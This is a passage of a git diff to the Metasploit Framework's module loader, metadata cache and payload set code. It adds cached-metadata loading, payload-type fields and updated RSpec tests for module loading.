module_manager.file_changed?(module_path) unless force or file_changed @@ -123,7 +128,7 @@ def load_module(parent_path, type, module_reference_name, options={}) reload ||= force || file_changed - module_content = read_module_content(parent_path, type, module_reference_name) + module_content = read_module_content_from_path(module_path) if module_content.empty? # read_module_content is responsible for calling {#load_error}, so just return here. @@ -207,7 +212,8 @@ def load_module(parent_path, type, module_reference_name, options={}) 'paths' => [ module_reference_name ], - 'type' => type + 'type' => type, + 'cached_metadata' => options[:cached_metadata] } ) @@ -242,7 +248,7 @@ def load_module(parent_path, type, module_reference_name, options={}) # @return [Hash{String => Integer}] Maps module type to number of # modules loaded def load_modules(path, options={}) - options.assert_valid_keys(:force) + options.assert_valid_keys(:force, :recalculate) force = options[:force] count_by_type = {} @@ -258,11 +264,12 @@ def load_modules(path, options={}) :force => force ) end - - recalculate_by_type.each do |type, recalculate| - if recalculate - module_set = module_manager.module_set(type) - module_set.recalculate + if options[:recalculate] + recalculate_by_type.each do |type, recalculate| + if recalculate + module_set = module_manager.module_set(type) + module_set.recalculate + end end end @@ -581,6 +588,16 @@ def read_module_content(parent_path, type, module_reference_name) raise ::NotImplementedError end + # Read the content of a module + # + # @abstract Override to read the module content based on the method of the loader subclass and return a string. + # + # @param full_path Path to the module to be read + # @return [String] module content that can be module_evaled into the {#create_namespace_module} + def read_module_content_from_path(full_path) + raise ::NotImplementedError + end + # Restores the namespace module to its original name under its original parent Module if there was a previous # namespace module. # diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb index 8fc183013008d..d5e25065ace6c 100644 --- a/lib/msf/core/modules/loader/directory.rb +++ b/lib/msf/core/modules/loader/directory.rb @@ -73,6 +73,14 @@ def module_path(parent_path, type, module_reference_name) def read_module_content(parent_path, type, module_reference_name) full_path = module_path(parent_path, type, module_reference_name) + read_module_content_from_path(full_path) + end + + # Loads the module content from the on disk file. + # + # @param (see Msf::Modules::Loader::Base#read_module_content_from_path) + # @return (see Msf::Modules::Loader::Base#read_module_content_from_path) + def read_module_content_from_path(full_path) module_content = '' begin diff --git a/lib/msf/core/modules/loader/executable.rb b/lib/msf/core/modules/loader/executable.rb index ab970f68209ab..fa8e4791d2e05 100644 --- a/lib/msf/core/modules/loader/executable.rb +++ b/lib/msf/core/modules/loader/executable.rb @@ -81,6 +81,15 @@ def module_path(parent_path, type, module_reference_name) # @return (see Msf::Modules::Loader::Base#read_module_content) def read_module_content(parent_path, type, module_reference_name) full_path = module_path(parent_path, type, module_reference_name) + + read_module_content_from_path(full_path) + end + + # Loads the module content from the on disk file. + # + # @param (see Msf::Modules::Loader::Base#read_module_content_from_path) + # @return (see Msf::Modules::Loader::Base#read_module_content_from_path) + def read_module_content_from_path(full_path) unless File.executable?(full_path) load_error(full_path, Errno::ENOENT.new) return '' diff --git a/lib/msf/core/modules/metadata/cache.rb b/lib/msf/core/modules/metadata/cache.rb index 7290f3bd5b845..8eb310f0213f6 100644 --- a/lib/msf/core/modules/metadata/cache.rb +++ b/lib/msf/core/modules/metadata/cache.rb @@ -34,6 +34,12 @@ def get_metadata } end + def get_module_reference(type:, reference_name:) + @mutex.synchronize do + wait_for_load + @module_metadata_cache["#{type}_#{reference_name}"] + end + end # # Checks for modules loaded that are not a part of the cache and updates the underlying store # if there are changes. @@ -49,7 +55,7 @@ def refresh_metadata(module_sets) next if unchanged_reference_name_set.include? mn begin - module_instance = mt[1].create(mn) + module_instance = mt[1].create(mn, cache_type: Msf::ModuleManager::Cache::MEMORY) rescue Exception => e elog "Unable to create module: #{mn}. #{e.message}" end diff --git a/lib/msf/core/modules/metadata/obj.rb b/lib/msf/core/modules/metadata/obj.rb index 97f591315c29b..e6c01ef9727c1 100644 --- a/lib/msf/core/modules/metadata/obj.rb +++ b/lib/msf/core/modules/metadata/obj.rb @@ -56,6 +56,18 @@ class Obj attr_reader :notes # @return [Array] attr_reader :session_types + # @return [Integer] The type of payload, e.g. Single, Stager, Adapter + attr_reader :payload_type + # @return [String, nil] Name of the adapter if applicable + attr_reader :adapter_refname + # @return [String, nil] Name of the adapted payload if applicable + attr_reader :adapted_refname + # @return [Boolean] Whether or not the payload is staged + attr_reader :staged + # @return [String, nil] Name of the stage if applicable + attr_reader :stage_refname + # @return [String, nil] Name of the stager if applicable + attr_reader :stager_refname def initialize(module_instance, obj_hash = nil) unless obj_hash.nil? @@ -110,6 +122,19 @@ def initialize(module_instance, obj_hash = nil) @session_types = module_instance.respond_to?(:session_types) && module_instance.session_types + if module_instance.respond_to?(:payload_type) + @payload_type = module_instance.payload_type + @staged = module_instance.staged? + end + if @staged + @stage_refname = module_instance.stage_refname + @stager_refname = module_instance.stager_refname + end + if @payload_type == Payload::Type::Adapter + @adapter_refname = module_instance.adapter_refname + @adapted_refname = module_instance.adapted_refname + end + # Due to potentially non-standard ASCII we force UTF-8 to ensure no problem with JSON serialization force_encoding(::Encoding::UTF_8) end @@ -118,7 +143,7 @@ def initialize(module_instance, obj_hash = nil) # Returns the JSON representation of the module metadata # def to_json(*args) - { + data = { 'name' => @name, 'fullname' => @fullname, 'aliases' => @aliases, @@ -143,8 +168,23 @@ def to_json(*args) 'default_credential' => @default_credential, 'notes' => @notes, 'session_types' => @session_types, - 'needs_cleanup' => @needs_cleanup - }.to_json(*args) + 'needs_cleanup' => @needs_cleanup, + } + + if @payload_type + payload_data = { + 'payload_type' => @payload_type, + 'adapter_refname' => @adapter_refname, + 'adapted_refname' => @adapted_refname, + 'adapted' => @adapted, + 'staged' => @staged, + 'stage_refname' => @stage_refname, + 'stager_refname' => @stager_refname, + }.compact + data.merge!(payload_data) + end + + data.to_json(*args) end # @@ -174,7 +214,7 @@ def init_from_hash(obj_hash) @name = obj_hash['name'] @fullname = obj_hash['fullname'] @aliases = obj_hash['aliases'] || [] - @disclosure_date = obj_hash['disclosure_date'].nil? ? nil : Date.parse(obj_hash['disclosure_date']) + @disclosure_date = obj_hash['disclosure_date'].nil? ? nil : Time.parse(obj_hash['disclosure_date']) @rank = obj_hash['rank'] @type = obj_hash['type'] @description = obj_hash['description'] @@ -196,6 +236,12 @@ def init_from_hash(obj_hash) @session_types = obj_hash['session_types'] @autofilter_ports = obj_hash['autofilter_ports'] @autofilter_services = obj_hash['autofilter_services'] + @payload_type = obj_hash['payload_type'] + @adapter_refname = obj_hash['adapter_refname'] + @adapted_refname = obj_hash['adapted_refname'] + @staged = obj_hash['staged'] + @stage_refname = obj_hash['stage_refname'] + @stager_refname = obj_hash['stager_refname'] end def sort_platform_string diff --git a/lib/msf/core/payload_set.rb b/lib/msf/core/payload_set.rb index 2c9631d6b33f3..a55a2dc9f7c8d 100644 --- a/lib/msf/core/payload_set.rb +++ b/lib/msf/core/payload_set.rb @@ -158,7 +158,7 @@ def calculate_adapted_single_payload(adapter_name:, adapter_info:, single_info:, payload = build_payload(handler, single_mod, adapter_mod) adapted_name = build_adapted_name(adapter_name, single_payload.refname) - add_single(payload, adapted_name, adapted_modinfo) + add_single(payload, adapted_name, adapted_modinfo, adapted_refname: single_payload.refname, adapter_refname: adapter_name) payload end @@ -264,6 +264,8 @@ def calculate_staged_payload(stage_name:, stager_name:, stage_info:, stager_info # Sets the modules derived name payload.refname = staged_refname + payload.stage_refname = stage_name + payload.stager_refname = stager_name # Add the stage add_stage(payload, staged_refname, stage_name, handler_type, { @@ -287,6 +289,11 @@ def calculate_adapted_staged_payload(staged_payload:, adapter_name:, stage_info: payload.refname = adapted_refname payload.framework = framework payload.file_path = adapter_modinfo['files'][0] + payload.adapted_refname = staged_payload.refname + payload.adapter_refname = adapter_name + payload.stage_refname = staged_payload.stage_refname + payload.stager_refname = staged_payload.stager_refname + self[payload.refname] = payload payload end @@ -307,10 +314,13 @@ def calculate_adapted_staged_payload(staged_payload:, adapter_name:, stage_info: # +type+ argument. # @return [void] def add_module(payload_module, reference_name, modinfo={}) + if modinfo['cached_metadata'] + return add_cached_module(modinfo['cached_metadata']) + end - if (md = reference_name.match(/^(adapters|singles|stagers|stages)#{File::SEPARATOR}(.*)$/)) - ptype = md[1] - reference_name = md[2] + if (match_data = reference_name.match(/^(adapters|singles|stagers|stages)#{File::SEPARATOR}(.*)$/)) + ptype = match_data[1] + reference_name = match_data[2] end # Duplicate the Payload base class and extend it with the module @@ -339,6 +349,52 @@ def add_module(payload_module, reference_name, modinfo={}) payload_type_modules[instance.payload_type][reference_name] = pinfo end + def add_cached_module(cached_module_metadata) + case cached_module_metadata.payload_type + when Payload::Type::Single + single_name = cached_module_metadata.ref_name + single_info = _singles[single_name] + calculate_single_payload(single_name: single_name, single_info: single_info) + when Payload::Type::Stager + stager_refname = cached_module_metadata.stager_refname + stager_info = _stagers[stager_refname] + stage_name = cached_module_metadata.stage_refname + stage_info = _stages[stage_name] + + calculate_staged_payload(stage_name: stage_name, + stager_name: stager_refname, + stage_info: stage_info, + stager_info: stager_info) + + when Payload::Type::Adapter + adapter_name = cached_module_metadata.adapter_refname + adapter_info = _adapters[adapter_name] + + if cached_module_metadata.staged + stage_name = cached_module_metadata.stage_refname + + stage_info = _stages[stage_name] + stager_name= cached_module_metadata.stager_refname + stager_info = _stagers[stager_name] + staged_payload = self[cached_module_metadata.adapted_refname] + + calculate_adapted_staged_payload(staged_payload: staged_payload, + adapter_name: adapter_name, + stage_info: stage_info, + stager_info: stager_info, + adapter_info: adapter_info) + else + single_name = cached_module_metadata.adapted_refname + single_info = _singles[single_name] + single_payload = self[single_name] + calculate_adapted_single_payload(adapter_name: adapter_name, + adapter_info: adapter_info, + single_info: single_info, + single_payload: single_payload) + end + end + end + # # Looks for a payload that matches the specified requirements and # returns an instance of that payload. @@ -398,10 +454,12 @@ def find_payload_from_set(set, platform, arch, handler, session, payload_type) # This method adds a single payload to the set and adds it to the singles # hash. # - def add_single(p, name, modinfo) + def add_single(p, name, modinfo, adapted_refname: nil, adapter_refname: nil) p.framework = framework p.refname = name p.file_path = modinfo['files'][0] + p.adapted_refname = adapted_refname + p.adapter_refname = adapter_refname # Associate this class with the single payload's name self[name] = p diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index ea4a7c4bb1396..883c0a7c68673 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -2,6 +2,291 @@ require 'spec_helper' +RSpec.shared_examples_for 'base#load_module' do + + it 'should call file_changed? with the module_path' do + expect(module_manager).to receive(:file_changed?).with(module_path).and_return(false) + + subject.load_module(parent_path, type, module_reference_name, force: false, cached_metadata: cached_metadata) + end + + context 'without file changed' do + before(:example) do + allow(module_manager).to receive(:file_changed?).and_return(false) + end + + it 'should return false if :force is false' do + expect(subject.load_module(parent_path, type, module_reference_name, :force => false, cached_metadata: cached_metadata)).to be_falsey + end + + it 'should not call #read_module_content_from_path' do + expect(subject).not_to receive(:read_module_content_from_path) + subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata) + end + end + + context 'with file changed' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + let(:module_full_name) do + File.join('auxiliary', module_reference_name) + end + + let(:namespace_module) do + Msf::Modules.const_get(relative_name) + end + + let(:relative_name) do + 'Auxiliary__Rspec__Mock' + end + + before(:example) do + # capture in a local so that instance_eval can access it + relative_name = self.relative_name + + # remove module from previous examples so reload error aren't logged + if Msf::Modules.const_defined? relative_name + Msf::Modules.instance_eval do + remove_const relative_name + end + end + + # create an namespace module that can be restored + module Msf + module Modules + module Auxiliary__Rspec__Mock + class MetasploitModule < Msf::Auxiliary + + end + end + end + end + + @original_namespace_module = Msf::Modules::Auxiliary__Rspec__Mock + + module_set = double('Module Set') + allow(module_set).to receive(:delete).with(module_reference_name) + + allow(module_manager).to receive(:delete).with(module_reference_name) + allow(module_manager).to receive(:file_changed?).with(module_path).and_return(true) + allow(module_manager).to receive(:module_set).with(type).and_return(module_set) + end + + it 'should call #namespace_module_transaction with the module full name and :reload => true' do + allow(subject).to receive(:read_module_content_from_path).and_return(module_content) + + expect(subject).to receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) + + subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata) + end + + it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do + allow(module_manager).to receive(:on_module_load) + + allow(subject).to receive(:read_module_content_from_path).and_return(module_content) + + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_truthy + + expect(namespace_module.parent_path).to eq parent_path + end + + it 'should call #read_module_content_from_path to get the module content so that #read_module_content_from_path can be overridden to change loading behavior' do + allow(module_manager).to receive(:on_module_load) + + expect(subject).to receive(:read_module_content_from_path).with(module_path).and_return(module_content) + + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_truthy + end + + it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do + allow(subject).to receive(:read_module_content_from_path).and_return(malformed_module_content) + allow(module_manager).to receive(:on_module_load) + + # if the module eval error includes the module_path then the module_path was passed along correctly + expect(subject).to receive(:elog).with(/#{Regexp.escape(module_path)}/, error: an_instance_of(NoMethodError)) + expect(subject.load_module(parent_path, type, module_reference_name, :reload => true, cached_metadata: cached_metadata)).to be_falsey + end + + context 'with empty module content' do + before(:example) do + allow(subject).to receive(:read_module_content_from_path).with(module_path).and_return('') + end + + it 'should return false' do + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_falsey + end + + it 'should not attempt to make a new namespace_module' do + expect(subject).not_to receive(:namespace_module_transaction) + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_falsey + end + end + + context 'with errors from namespace_module_eval_with_lexical_scope' do + before(:example) do + @namespace_module = double('Namespace Module', :'parent_path=' => nil) + module_content = double('Module Content', empty?: false) + + allow(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) + allow(subject).to receive(:read_module_content_from_path).and_return(module_content) + end + + context 'with Interrupt' do + it 'should re-raise' do + allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(Interrupt) + + expect { + subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata) + }.to raise_error(Interrupt) + end + end + + context 'with other Exception' do + let(:backtrace) do + [ + 'Backtrace Line 1', + 'Backtrace Line 2' + ] + end + + let(:error) do + error_class.new(error_message) + end + + let(:error_class) do + ArgumentError + end + + let(:error_message) do + 'This is rspec. Your argument is invalid.' + end + + before(:example) do + allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(error) + + @module_load_error_by_path = {} + allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) + + allow(error).to receive(:backtrace).and_return(backtrace) + end + + it 'should record the load error using the original error' do + expect(subject).to receive(:load_error).with(module_path, error) + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_falsey + end + + it 'should return false' do + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_falsey + end + end + end + + context 'without module_eval errors' do + before(:example) do + @namespace_module = double('Namespace Module') + allow(@namespace_module).to receive(:parent_path=) + allow(@namespace_module).to receive(:module_eval_with_lexical_scope).with(module_content, module_path) + allow(@namespace_module).to receive(:const_defined?).with('Metasploit3', false).and_return(false) + allow(@namespace_module).to receive(:const_defined?).with('Metasploit4', false).and_return(false) + allow(@namespace_module).to receive(:const_defined?).with('MetasploitModule', false).and_return(true) + allow(@namespace_module).to receive(:const_get).with('Metasploit3', false).and_return(false) + allow(@namespace_module).to receive(:const_get).with('Metasploit4', false).and_return(false) + allow(@namespace_module).to receive(:const_get).with('MetasploitModule', false).and_return(true) + allow(@namespace_module).to receive(:module_load_warnings) + + allow(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) + + allow(subject).to receive(:read_module_content_from_path).with(module_path).and_return(module_content) + + @module_load_error_by_path = {} + allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) + allow(module_manager).to receive(:on_module_load) + # remove the mocked namespace_module since happy-path/real loading is occurring in this context + allow(subject).to receive(:namespace_module_transaction).and_call_original + end + + it 'should log load information' do + expect(subject).to receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_truthy + end + + it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do + original_load_error = "Back in my day this module didn't load" + module_manager.module_load_error_by_path[module_path] = original_load_error + + expect(module_manager.module_load_error_by_path[module_path]).to eq original_load_error + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_truthy + expect(module_manager.module_load_error_by_path[module_path]).to be_nil + end + + it 'should return true' do + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_truthy + end + + it 'should call module_manager.on_module_load' do + expect(module_manager).to receive(:on_module_load) + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_truthy + end + + context 'with :recalculate_by_type' do + it 'should set the type to be recalculated' do + recalculate_by_type = {} + + expect( + subject.load_module( + parent_path, + type, + module_reference_name, + :recalculate_by_type => recalculate_by_type, + cached_metadata: cached_metadata + ) + ).to eq true + expect(recalculate_by_type[type]).to be_truthy + end + end + + context 'with :count_by_type' do + it 'should set the count to 1 if it does not exist' do + count_by_type = {} + + expect(count_by_type.has_key?(type)).to be_falsey + expect( + subject.load_module( + parent_path, + type, + module_reference_name, + :count_by_type => count_by_type, + cached_metadata: cached_metadata + ) + ).to eq true + expect(count_by_type[type]).to eq 1 + end + + it 'should increment the count if it does exist' do + original_count = 1 + count_by_type = { + type => original_count + } + + expect( + subject.load_module( + parent_path, + type, + module_reference_name, + :count_by_type => count_by_type, + cached_metadata: cached_metadata + ) + ).to eq true + + incremented_count = original_count + 1 + expect(count_by_type[type]).to eq incremented_count + end + end + end + end +end + + RSpec.describe Msf::Modules::Loader::Base do include_context 'Msf::Modules::Loader::Base' @@ -31,8 +316,12 @@ class MetasploitModule < Msf::Auxiliary "#{type}/#{module_reference_name}" end + let(:module_rel_path) do + 'auxiliary/rspec/mock.rb' + end + let(:module_path) do - parent_pathname.join('auxiliary', 'rspec', 'mock.rb').to_s + parent_pathname.join(module_rel_path).to_s end let(:module_reference_name) do @@ -244,7 +533,7 @@ module #{namespace_module_names[2]} end end - context '#load_module' do + describe '#load_module' do let(:parent_path) do parent_pathname.to_s end @@ -254,285 +543,44 @@ module #{namespace_module_names[2]} end before(:example) do - allow(subject).to receive(:module_path).and_return(module_path) + allow(subject).to receive(:read_module_content_from_path) end - it 'should call file_changed? with the module_path' do - expect(module_manager).to receive(:file_changed?).with(module_path).and_return(false) + context 'with no metadata cache' do - subject.load_module(parent_path, type, module_reference_name, :force => false) - end - - context 'without file changed' do before(:example) do - allow(module_manager).to receive(:file_changed?).and_return(false) + allow(subject).to receive(:module_path).and_return(module_path) end - it 'should return false if :force is false' do - expect(subject.load_module(parent_path, type, module_reference_name, :force => false)).to be_falsey - end + let(:cached_metadata) { nil } - it 'should not call #read_module_content' do - expect(subject).not_to receive(:read_module_content) - subject.load_module(parent_path, type, module_reference_name) - end + include_examples 'base#load_module' end - context 'with file changed' do - include_context 'Metasploit::Framework::Spec::Constants cleaner' - - let(:module_full_name) do - File.join('auxiliary', module_reference_name) - end - - let(:namespace_module) do - Msf::Modules.const_get(relative_name) - end - - let(:relative_name) do - 'Auxiliary__Rspec__Mock' - end - - before(:example) do - # capture in a local so that instance_eval can access it - relative_name = self.relative_name - - # remove module from previous examples so reload error aren't logged - if Msf::Modules.const_defined? relative_name - Msf::Modules.instance_eval do - remove_const relative_name - end - end - - # create an namespace module that can be restored - module Msf - module Modules - module Auxiliary__Rspec__Mock - class MetasploitModule < Msf::Auxiliary - - end - end - end - end - - @original_namespace_module = Msf::Modules::Auxiliary__Rspec__Mock - - module_set = double('Module Set') - allow(module_set).to receive(:delete).with(module_reference_name) - - allow(module_manager).to receive(:delete).with(module_reference_name) - allow(module_manager).to receive(:file_changed?).with(module_path).and_return(true) - allow(module_manager).to receive(:module_set).with(type).and_return(module_set) + context 'with metadata cache' do + + let(:metadata_hash) do + { + 'name' => 'Rspec mock', + 'fullname' => module_full_name, + 'rank' => 300, + 'disclosure_date' => nil, + 'type' => type, + 'author' => ['rspec'], + 'description' => 'Mock rspec module', + 'references' => ['CVE-1234-1234'], + 'mod_time' => '2023-01-24 14:30:39 +0000', + 'path' => "/modules/#{module_rel_path}", + 'is_install_path' => true, + 'ref_name' => module_reference_name + } end - it 'should call #namespace_module_transaction with the module full name and :reload => true' do - allow(subject).to receive(:read_module_content).and_return(module_content) - - expect(subject).to receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) - - subject.load_module(parent_path, type, module_reference_name) + let(:cached_metadata) do + Msf::Modules::Metadata::Obj.from_hash(metadata_hash) end - it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do - allow(module_manager).to receive(:on_module_load) - - allow(subject).to receive(:read_module_content).and_return(module_content) - - expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy - - expect(namespace_module.parent_path).to eq parent_path - end - - it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do - allow(module_manager).to receive(:on_module_load) - - expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - - expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy - end - - it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do - allow(subject).to receive(:read_module_content).and_return(malformed_module_content) - allow(module_manager).to receive(:on_module_load) - - # if the module eval error includes the module_path then the module_path was passed along correctly - expect(subject).to receive(:elog).with(/#{Regexp.escape(module_path)}/, error: an_instance_of(NoMethodError)) - expect(subject.load_module(parent_path, type, module_reference_name, :reload => true)).to be_falsey - end - - context 'with empty module content' do - before(:example) do - allow(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return('') - end - - it 'should return false' do - expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey - end - - it 'should not attempt to make a new namespace_module' do - expect(subject).not_to receive(:namespace_module_transaction) - expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey - end - end - - context 'with errors from namespace_module_eval_with_lexical_scope' do - before(:example) do - @namespace_module = double('Namespace Module', :'parent_path=' => nil) - module_content = double('Module Content', empty?: false) - - allow(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) - allow(subject).to receive(:read_module_content).and_return(module_content) - end - - context 'with Interrupt' do - it 'should re-raise' do - allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(Interrupt) - - expect { - subject.load_module(parent_path, type, module_reference_name) - }.to raise_error(Interrupt) - end - end - - context 'with other Exception' do - let(:backtrace) do - [ - 'Backtrace Line 1', - 'Backtrace Line 2' - ] - end - - let(:error) do - error_class.new(error_message) - end - - let(:error_class) do - ArgumentError - end - - let(:error_message) do - 'This is rspec. Your argument is invalid.' - end - - before(:example) do - allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(error) - - @module_load_error_by_path = {} - allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) - - allow(error).to receive(:backtrace).and_return(backtrace) - end - - it 'should record the load error using the original error' do - expect(subject).to receive(:load_error).with(module_path, error) - expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey - end - - it 'should return false' do - expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey - end - end - end - - context 'without module_eval errors' do - before(:example) do - @namespace_module = double('Namespace Module') - allow(@namespace_module).to receive(:parent_path=) - allow(@namespace_module).to receive(:module_eval_with_lexical_scope).with(module_content, module_path) - allow(@namespace_module).to receive(:const_defined?).with('Metasploit3', false).and_return(false) - allow(@namespace_module).to receive(:const_defined?).with('Metasploit4', false).and_return(false) - allow(@namespace_module).to receive(:const_defined?).with('MetasploitModule', false).and_return(true) - allow(@namespace_module).to receive(:const_get).with('Metasploit3', false).and_return(false) - allow(@namespace_module).to receive(:const_get).with('Metasploit4', false).and_return(false) - allow(@namespace_module).to receive(:const_get).with('MetasploitModule', false).and_return(true) - allow(@namespace_module).to receive(:module_load_warnings) - - allow(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) - - allow(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - - @module_load_error_by_path = {} - allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) - allow(module_manager).to receive(:on_module_load) - # remove the mocked namespace_module since happy-path/real loading is occurring in this context - allow(subject).to receive(:namespace_module_transaction).and_call_original - end - - it 'should log load information' do - expect(subject).to receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) - expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy - end - - it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do - original_load_error = "Back in my day this module didn't load" - module_manager.module_load_error_by_path[module_path] = original_load_error - - expect(module_manager.module_load_error_by_path[module_path]).to eq original_load_error - expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy - expect(module_manager.module_load_error_by_path[module_path]).to be_nil - end - - it 'should return true' do - expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy - end - - it 'should call module_manager.on_module_load' do - expect(module_manager).to receive(:on_module_load) - expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy - end - - context 'with :recalculate_by_type' do - it 'should set the type to be recalculated' do - recalculate_by_type = {} - - expect( - subject.load_module( - parent_path, - type, - module_reference_name, - :recalculate_by_type => recalculate_by_type - ) - ).to eq true - expect(recalculate_by_type[type]).to be_truthy - end - end - - context 'with :count_by_type' do - it 'should set the count to 1 if it does not exist' do - count_by_type = {} - - expect(count_by_type.has_key?(type)).to be_falsey - expect( - subject.load_module( - parent_path, - type, - module_reference_name, - :count_by_type => count_by_type - ) - ).to eq true - expect(count_by_type[type]).to eq 1 - end - - it 'should increment the count if it does exist' do - original_count = 1 - count_by_type = { - type => original_count - } - - expect( - subject.load_module( - parent_path, - type, - module_reference_name, - :count_by_type => count_by_type - ) - ).to eq true - - incremented_count = original_count + 1 - expect(count_by_type[type]).to eq incremented_count - end - end - end + include_examples 'base#load_module' end end @@ -1018,12 +1066,12 @@ class Metasploit end end - context '#read_module_content' do + context '#read_module_content_from_path' do it 'should be abstract' do type = Msf::MODULE_AUX expect { - subject.send(:read_module_content, parent_pathname.to_s, type, module_reference_name) + subject.send(:read_module_content_from_path, module_path) }.to raise_error(NotImplementedError) end end diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 5ab8da7e2df8b..1046ed35ae257 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -153,86 +153,157 @@ def module_info_by_path end end - context '#load_cached_module' do - subject(:load_cached_module) do - module_manager.load_cached_module(type, reference_name) - end + describe '#load_cached_module' do + context 'with memory cache' do + subject(:load_cached_module) do + module_manager.load_cached_module(type, reference_name, cache_type: Msf::ModuleManager::Cache::MEMORY) + end - before(:example) do - module_manager.send(:module_info_by_path=, module_info_by_path) - end + before(:example) do + module_manager.send(:module_info_by_path=, module_info_by_path) + end - context 'with module info in cache' do - include_context 'Metasploit::Framework::Spec::Constants cleaner' + context 'with module info in cache' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' - let(:module_info_by_path) do - { + let(:module_info_by_path) do + { 'path/to/module' => { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type + :parent_path => parent_path, + :reference_name => reference_name, + :type => type } - } - end + } + end - it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do - # Only the first one gets it since it finds the module - first_loader = module_manager.send(:loaders).first - expect(first_loader).to receive(:loadable_module?).with(parent_path, type, reference_name).and_return(false) - expect(first_loader).not_to receive(:load_module) + it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do + # Only the first one gets it since it finds the module + first_loader = module_manager.send(:loaders).first + expect(first_loader).to receive(:loadable_module?).with(parent_path, type, reference_name).and_return(false) + expect(first_loader).not_to receive(:load_module) - second_loader = module_manager.send(:loaders).second - expect(second_loader).to receive(:loadable_module?).with(parent_path, type, reference_name).and_return(true) - expect(second_loader).to receive(:load_module).with(parent_path, type, reference_name, force: true).and_call_original + second_loader = module_manager.send(:loaders).second + expect(second_loader).to receive(:loadable_module?).with(parent_path, type, reference_name).and_return(true) + expect(second_loader).to receive(:load_module).with(parent_path, type, reference_name, force: true, cached_metadata: nil).and_call_original - load_cached_module - end + load_cached_module + end - it 'should force load using #load_module on the loader' do - expect_any_instance_of(Msf::Modules::Loader::Directory).to receive( - :load_module - ).with( + it 'should force load using #load_module on the loader' do + expect_any_instance_of(Msf::Modules::Loader::Directory).to receive( + :load_module + ).with( parent_path, type, reference_name, - :force => true - ).and_call_original + :force => true, + :cached_metadata => nil + ).and_call_original - load_cached_module + load_cached_module + end + + context 'return from load_module' do + before(:example) do + # Only the first one gets it since it finds the module + loader = module_manager.send(:loaders).first + expect(loader).to receive(:load_module).and_return(module_loaded) + end + + context 'with false' do + let(:module_loaded) do + false + end + + it { is_expected.to be_falsey } + end + + context 'with true' do + let(:module_loaded) do + true + end + + it { is_expected.to be_truthy } + end + end end - context 'return from load_module' do - before(:example) do + context 'without module info in cache' do + let(:module_info_by_path) do + {} + end + + it { is_expected.to be_falsey } + end + end + + context 'with filesystem cache' do + subject(:load_cached_module) do + module_manager.load_cached_module(type, reference_name, cache_type: Msf::ModuleManager::Cache::FILESYSTEM) + end + + context 'with module info in cache' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do # Only the first one gets it since it finds the module - loader = module_manager.send(:loaders).first - expect(loader).to receive(:load_module).and_return(module_loaded) 